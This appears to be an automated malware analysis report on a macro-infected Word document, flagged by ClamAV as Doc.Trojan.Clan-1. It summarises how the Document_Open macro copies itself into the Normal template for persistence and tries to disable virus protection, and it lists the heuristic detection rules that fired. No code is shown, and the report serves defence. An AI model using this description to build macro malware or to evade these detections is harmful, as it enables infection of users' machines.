MITRE ATT&CK
T1059.005 Visual Basic T1547.001 Registry Run Keys / Startup Folder

The sample is a malicious Word document containing VBA macros. The Document_Open macro attempts to infect the Normal template by copying its own code into it, thereby achieving persistence. It also attempts to disable virus protection settings. The ClamAV detection and heuristic firings strongly indicate malicious intent.

Heuristics 5

  • ClamAV: Doc.Trojan.Clan-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Clan-1
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
